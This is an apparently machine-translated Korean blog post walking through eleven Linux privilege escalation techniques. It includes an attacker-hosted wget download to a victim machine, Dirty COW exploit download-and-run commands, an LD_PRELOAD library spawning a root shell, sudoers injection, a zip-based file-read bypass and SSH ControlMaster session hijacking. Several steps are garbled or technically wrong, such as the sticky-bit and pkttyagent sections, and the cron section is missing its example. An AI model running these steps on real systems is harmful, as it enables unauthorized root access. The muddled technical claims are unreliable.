Linux 권한 에스컬레이션

Apr 11 2023
소개 권한 에스컬레이션은 시스템이나 응용 프로그램의 취약성 또는 약점을 악용하여 상승된 권한을 얻거나 일반적으로 제한되는 리소스에 대한 액세스를 얻는 프로세스입니다. Linux 환경에는 권한을 에스컬레이션하는 데 사용할 수 있는 다양한 기술이 있습니다.

소개

권한 에스컬레이션은 일반적으로 제한되는 리소스에 대한 액세스 또는 상승된 권한을 얻기 위해 시스템 또는 애플리케이션의 취약성 또는 약점을 악용하는 프로세스입니다. Linux 환경에는 권한을 에스컬레이션하는 데 사용할 수 있는 다양한 기술이 있습니다. 이 기사에서는 각 예제와 함께 Linux 권한 에스컬레이션을 위한 11가지 기술을 살펴봅니다.

에스컬레이션 권한에 대한 Linux 열거

열거는 모든 성공적인 공격의 핵심입니다. 해킹 시스템에서 중요한 단계이며 정보 수집의 중요한 부분입니다. 이 단계에서 공격 벡터를 결정하기 위해 가능한 한 많은 정보를 수집하기 위해 우리와 대상(로컬 또는 원격) 사이에 연결을 설정합니다. Linux 호스트를 열거하려면 아래 링크에서 다운로드할 수 있는 LinEnum 이라는 매우 유용한 유틸리티를 사용할 수 있습니다 .

https://github.com/rebootuser/LinEnum.

에스컬레이션 지점을 찾기 위해 커널 및 민감한 사용자 정보와 같은 최소 65개 항목의 체크리스트를 사용하여 Linux 호스트에 대한 정보를 수집하는 유용한 쉘 스크립트입니다.

몇 단계로 사용하는 방법:

  1. github에서 피해 시스템으로 LinEnum을 다운로드합니다.
  2. 권한 편집:
    chmod +x LinEnum.sh
  3. 스크립트 실행: ./LinEnum.sh
  1. github에서 자신의 컴퓨터로 LinEnum을 다운로드합니다.
  2. 다음 명령을 실행하여 포트 8000에서 로컬 서버를 실행할 컴퓨터에서 파일을 호스팅합니다.
    python3 -m http.server
  3. 서버에서 파일 다운로드:
    wget <attacker ip>:8000/LinEnum.sh
  4. 권한 편집:
    chmod +x LinEnum.sh
  5. 스크립트 실행: ./LinEnum.sh

1- SUID 실행 파일 악용

SUID(Set User ID)는 Linux에서 실행 파일에 할당할 수 있는 특수 권한입니다. SUID 권한이 있는 실행 파일이 실행되면 실행 중인 사용자의 권한이 아닌 파일을 소유한 사용자의 권한으로 실행됩니다. 이를 악용하여 권한을 상승시킬 수 있습니다.

예:

ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root 54216 Jan  3  2023 /usr/bin/passwd

      
                

find / -perm -u=s -type f 2>/dev/null

2- 커널 악용

커널 악용은 권한을 상승시키기 위해 악용될 수 있는 Linux 커널의 취약성입니다. 이러한 취약성은 보안 메커니즘을 우회하고 일반적으로 제한된 리소스에 대한 액세스 권한을 얻는 데 사용될 수 있습니다.

예:

Dirty COW 취약점은 2016년에 발견된 잘 알려진 취약점 중 하나입니다. 이 취약점을 통해 Linux 커널의 copy-on-write 메커니즘에서 경쟁 조건을 악용하여 루트 권한을 얻을 수 있습니다. 시스템이 Dirty COW에 취약한지 확인하려면 다음 명령을 실행하십시오.

다음 명령을 실행하여 취약성 익스플로잇을 다운로드, 컴파일 및 실행하십시오.

sudo wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
gcc -pthread dirtyc0w.c -o dirtyc0w
./dirtyc0w /etc/passwd foo

취약점에 대한 자세한 내용:https://dirtycow.ninja/

더러운 파이프:

Dirty Pipe는 2022년에 발견된 권한을 상승시키는 데 사용될 수 있는 잘 알려진 취약점 중 하나입니다. Dirty Pipe는 임의의 읽기 전용 파일에서 데이터를 덮어쓸 수 있는 Linux 커널 5.8 이후의 취약점입니다. 권한이 없는 프로세스가 루트 프로세스에 코드를 삽입할 수 있기 때문에 권한 상승으로 이어집니다. Dirty Cow와 유사하지만 악용하기가 더 쉽습니다.

더티 파이프 익스플로잇:https://www.exploit-db.com/exploits/50808

다음과 같은 몇 가지 단계로 커널 취약점을 검색할 수도 있습니다.

  1. 커널 버전 감지:
  2. uname -r
    

searchsploit kernel <version>

Cron은 사용자가 지정된 간격으로 자동으로 실행되도록 작업을 예약할 수 있는 Linux의 유틸리티입니다. 이러한 작업은 상승된 권한으로 실행될 수 있으며 이를 악용하여 권한을 상승시킬 수 있습니다.

예:

상승된 권한으로 악성 스크립트를 실행하는 크론 작업을 생성할 수 있습니다. 그런 다음 크론 작업이 실제 사용자보다 더 높은 권한으로 실행 중인 경우 권한을 에스컬레이션하는 데 사용할 수 있습니다. 예를 들어 bash 스크립트는 다음에 새 줄을 추가할 수 있습니다. 스크립트 소유자의 권한으로 리버스 쉘을 실행합니다.

crontab -l

또한 다음 파일에 대한 쓰기 액세스 권한이 있는지 확인하십시오.

/etc/init.d
/etc/cron*
/etc/crontab
/etc/cron.allow
/etc/cron.d
/etc/cron.deny
/etc/cron.daily
/etc/cron.hourly
/etc/cron. 매월
/etc/cron.weekly
/etc/sudoers
/etc/exports
/etc/anacrontab
/var/spool/cron
/var/spool/cron/crontabs/root

4- Sudo 구성 악용

Sudo는 사용자가 상승된 권한으로 명령을 실행할 수 있도록 하는 Linux의 유틸리티입니다. sudo 구성 파일(/etc/sudoers)을 수정하여 사용자에게 추가 권한을 부여하거나 사용자가 상승된 권한으로 특정 명령을 실행할 수 있도록 할 수 있습니다.

예:

sudo 구성 파일을 수정하여 상승된 권한을 부여하거나 상승된 권한으로 특정 명령을 실행할 수 있습니다.

sudo -l

사용자는 kali에서 다음 명령을 실행할 수 있습니다.
(ALL : ALL) ALL

위에 인쇄된 결과와 같은 권한이 발견되면 sudoers 구성 파일이 잘못 구성되어 사용자가 루트를 포함한 모든 사용자로 모든 명령을 실행할 수 있음을 의미합니다. 다음은 잘못 구성된 sudoers 파일을 악용하는 방법의 예입니다.

sudo echo “zombrax    ALL=(ALL:ALL) ALL” >> /etc/sudoers

5- 환경 변수 활용

환경 변수를 사용하여 다양한 시스템 유틸리티에 대한 옵션을 설정할 수 있습니다. 유틸리티가 상승된 권한으로 실행 중이고 환경 변수 삽입에 취약한 경우 해당 취약성을 사용하여 권한을 상승시킬 수 있습니다.

예:

LD_PRELOAD 환경 변수를 상승된 권한으로 실행되는 프로그램에 의해 로드될 악성 라이브러리로 설정할 수 있습니다.

이는 몇 가지 단계로 수행할 수 있습니다.

  1. 악의적인 공유 개체 라이브러리를 만듭니다. 예를 들어 새 파일을 만들고 이름을 priv_esc.c로 지정합니다.
  2. #include <stdio.h>
    #include <sys/types.h>
    #include <unistd.h>
    void __attribute__ ((constructor)) init(void) {
     setuid(0);
     system("/bin/bash");
    }
    

gcc -fPIC -shared -o priv_esc.so priv_esc.c

다음 명령을 사용하여 LD_PRELOAD 환경 변수를 악성 라이브러리의 경로로 설정합니다.

내보내기 LD_PRELOAD=/path/to/priv_esc.so

"passwd" 명령과 같이 상승된 권한으로 프로그램을 실행합니다.

sudo passwd

6- Sudo 권한 악용

루트가 아닌 사용자에게 특정 명령 또는 스크립트를 실행할 수 있는 sudo 권한이 부여된 경우 이러한 명령 및 스크립트가 무단 액세스 또는 악용을 방지하기 위해 적절하게 구성 및 보호되었는지 확인하는 것이 중요합니다. 그러나 경우에 따라 이러한 명령 또는 스크립트 중 하나의 취약점을 활용하여 권한을 상승시킬 수 있습니다.

sudo 사용 명령의 취약점에 대한 일반적인 한 가지 예는 파일 또는 디렉터리 경로에 *와 같은 와일드카드 문자를 사용하는 것입니다. sudo 권한이 있는 명령 또는 스크립트를 통해 사용자가 와일드카드 문자를 포함하는 경로를 지정할 수 있는 경우 이를 활용하여 상승된 권한으로 임의의 명령을 실행할 수 있습니다.

예를 들어 다음 sudo-enabled 명령을 고려하십시오.

sudo rm -rf /path/to/directory/*

sudo rm -rf /path/to/directory/*; whoami

7- 잘못 구성된 NFS 내보내기 악용

시스템이 NFS(네트워크 파일 시스템)를 사용 중이고 관리자가 NFS 내보내기를 잘못 구성한 경우 NFS 공유를 마운트하고 상승된 권한으로 파일을 수정할 수 있습니다. 액세스 가능한 NFS 공유를 찾으려면 다음 명령을 사용하십시오.

showmount -e <ip_address>

LXD/LXC 컨테이너는 프로세스와 애플리케이션을 격리하는 데 사용할 수 있는 경량 가상화 기술입니다. 그러나 컨테이너가 잘못 구성되었거나 취약성이 있는 경우 컨테이너를 탈출하여 호스트 시스템에 대한 액세스 권한을 얻을 수 있습니다. 잘못 구성된 컨테이너를 찾기 위해 LXD-PRivesc 또는 LXD-Exploit와 같은 도구를 사용할 수 있습니다.

착취:https://github.com/initstring/lxd_root

9- 스티키 비트 악용

고정 비트는 파일 또는 디렉토리의 소유자만 파일을 삭제하거나 이름을 변경할 수 있도록 허용하는 데 사용되는 권한 비트입니다. 그러나 사용자가 권한이 있는 사용자가 소유한 디렉터리에 고정 비트가 설정된 파일을 만들 수 있으면 권한을 에스컬레이션할 수 있습니다. 예를 들면 다음과 같습니다.

  1. 고정 비트가 설정된 디렉토리를 확인하십시오.
  2. find / -perm -1000 -type d 2>/dev/null
    

    find / -perm -1000 -type d -exec ls -ld {} \; | awk '{print $1,$3,$4,$NF}'
    

    touch /path/to/directory/file.txt; chmod +t /path/to/directory/file.txt
    

    mv /path/to/directory/file.txt /etc/sudoers
    

다음 명령을 사용하여 이 에스컬레이션 권한 기술을 악용하는 방법은 다음과 같습니다.

LFILE=file-to-read
TF=$(mktemp -u)
zip $TF $LFILE
unzip -p $TF

LFILE=file-to-read: 읽을 파일의 이름을 변수 LFILE로 설정합니다. 이것은 사용자가 읽고자 하는 파일의 전체 경로로 설정되어야 합니다.

TF=$(mktemp -u): mktemp 명령을 사용하여 임시 파일 이름을 만들고 변수 TF에 할당합니다. -u 옵션은 임시 파일을 실제로 만들지 않고 임시 파일의 이름만 인쇄하도록 mktemp에 지시합니다.

zip $TF $LFILE: 읽을 파일의 압축된 아카이브를 생성하고 2단계에서 생성한 임시 파일 이름으로 저장합니다. 기본적으로 zip은 파일 권한 및 소유권 정보를 아카이브에 저장하므로 이 기술을 사용할 수 있습니다. 파일 권한을 우회하는 데 사용됩니다.

unzip -p $TF: 3단계에서 만든 압축 아카이브의 내용을 stdout으로 추출합니다. -p 옵션은 디스크에 새 파일을 만드는 대신 파일 내용을 stdout으로 보내도록 unzip에 지시합니다. 이를 통해 사용자는 파일에 대한 직접 읽기 액세스 권한이 없더라도 파일의 내용을 볼 수 있습니다.

이 기술을 사용하려면 사용자가 zip 및 unzip 명령을 실행할 수 있는 권한과 임시 파일이 생성되는 디렉터리에 대한 쓰기 액세스 권한이 있어야 합니다. 또한 일부 시스템에는 사용자가 파일 권한을 우회하기 위해 zip 및 unzip을 사용하지 못하도록 제한이 있을 수 있습니다.

10- pkttyagent를 악용하여 권한 상승

pkttyagent 기법은 SSH 에이전트용 헬퍼 프로그램인 pkttyagent 유틸리티를 활용한 리눅스 권한 상승 기법이다. 이 기술의 기본 개념은 pkttyagent 유틸리티가 루트로 실행되고 루트 사용자로 명령을 실행하는 데 악용될 수 있다는 것입니다.

pkttyagent 기술을 실행하는 단계는 다음과 같습니다.

아직 없는 경우 대상 시스템의 사용자 계정에 대한 새 SSH 키 쌍을 생성하여 시작합니다. 다음 명령을 사용하여 새 키 쌍을 생성할 수 있습니다.

ssh-keygen -t rsa

ssh-copy-id -i ~/.ssh/id_rsa.pub <target-username>@<target-host>

SSH를 사용하여 대상 시스템에 로그인하고 다음 명령을 사용하여 새 SSH 에이전트를 시작합니다.

eval “$(ssh-agent)”

ssh-add

ssh-add -L

ssh -A -t user@localhost ‘sudo /usr/bin/pkttyagent /bin/bash’

루트 셸이 있으면 루트 권한으로 모든 명령을 실행할 수 있습니다. 예를 들어 다음 명령을 사용하여 관리 권한이 있는 새 사용자를 추가할 수 있습니다.

useradd -m -s /bin/bash -G sudo newuser

그게 다야! 이 기술은 pkttyagent 유틸리티가 설치되고 에이전트 전달용으로 구성된 Linux 시스템에서 권한을 에스컬레이션하는 데 사용할 수 있습니다. 이 취약점은 최신 버전의 OpenSSH에서 패치되었으므로 모든 시스템에서 작동하지 않을 수 있습니다.

11- ControlMaster에 의한 SSH 하이재킹

ControlMaster에 의한 SSH 하이재킹은 OpenSSH의 ControlMaster 기능을 활용하는 권한 에스컬레이션 기술입니다. ControlMaster는 여러 SSH 세션이 단일 네트워크 연결을 사용하도록 허용하여 오버헤드를 줄이고 성능을 향상시킵니다. 그러나 이 기능을 남용하여 기존 SSH 세션을 하이재킹하고 시스템에 대한 무단 액세스를 얻을 수 있습니다.

이러한 유형의 공격은 ControlMaster가 활성화된 새 SSH 세션을 생성하고 기존 SSH 세션과 동일한 네트워크 연결을 사용하여 작동합니다. 이는 SSH 구성 파일의 ControlPath 옵션을 기존 세션과 동일한 값으로 설정하여 수행할 수 있습니다. 새 세션이 설정되면 피해자의 터미널에 명령을 보낼 수 있으며 피해자는 자신의 세션이 하이재킹된 사실을 모를 것입니다.

이 공격을 설명하기 위해 공격자가 권한이 낮은 사용자 계정으로 피해자의 시스템에 대한 액세스 권한을 이미 획득했다고 가정해 보겠습니다. 다음 단계를 수행하여 ControlMaster의 SSH 하이재킹을 사용하여 권한을 에스컬레이션할 수 있습니다.

  1. ControlMaster가 활성화된 기존 SSH 세션을 식별합니다. 이것은 “ps aux | ControlPath 옵션에 정의된 ControlMaster 소켓이 있는 세션에 대한 grep ssh” 명령.
  2. 식별된 세션의 ControlPath 값을 복사합니다.
  3. ControlMaster가 활성화된 새 SSH 세션을 생성하고 기존 세션과 동일한 네트워크 연결을 사용합니다. ControlPath 옵션을 2단계에서 복사한 값으로 설정하면 됩니다.
  4. ssh -o ControlMaster=yes -o ControlPath=/path/to/copied/socket username@hostname
    

  5. ssh: SSH 연결을 시작하는 명령어입니다.
  6. -o ControlMaster=yes: 이 옵션은 ControlMaster 연결이 설정되어야 함을 지정합니다. 이 yes값은 SSH에 ControlMaster 모드를 활성화하도록 지시합니다.
  7. -o ControlPath=/path/to/copied/socket: 이 옵션은 ControlMaster 연결에 사용될 소켓 파일의 경로를 설정합니다. /path/to/copied/socket이전에 복사한 소켓 파일의 실제 경로로 바꿔야 합니다 .
  8. username@hostname: 연결할 원격 서버를 지정합니다. username원격 서버의 실제 사용자 이름과 hostname원격 서버의 실제 호스트 이름 또는 IP 주소로 바꾸십시오 .
  9. 이 공격으로부터 보호하려면 관리자는 ControlMaster 옵션을 "no"로 설정하여 SSH 구성 파일에서 ControlMaster 기능을 비활성화해야 합니다. 또한 관리자는 예기치 않은 SSH 세션이 있는지 시스템을 모니터링하고 의심스러운 활동을 조사해야 합니다.

    결론

    이 블로그 게시물에서는 가장 진보된 Linux 권한 에스컬레이션 기술에 대해 논의했습니다. 이러한 기술은 Linux 시스템에서 상승된 권한을 얻는 데 사용할 수 있으며 이러한 기술로부터 보호하기 위해 이러한 기술을 인식하는 것이 중요합니다. 이러한 기술을 이해하면 권한 상승 공격으로부터 Linux 시스템을 보호할 수 있습니다.

    그러나 법적 또는 윤리적 문제를 피하기 위해 이러한 기술을 윤리적으로 사용하고 적절한 승인을 받는 것이 중요합니다.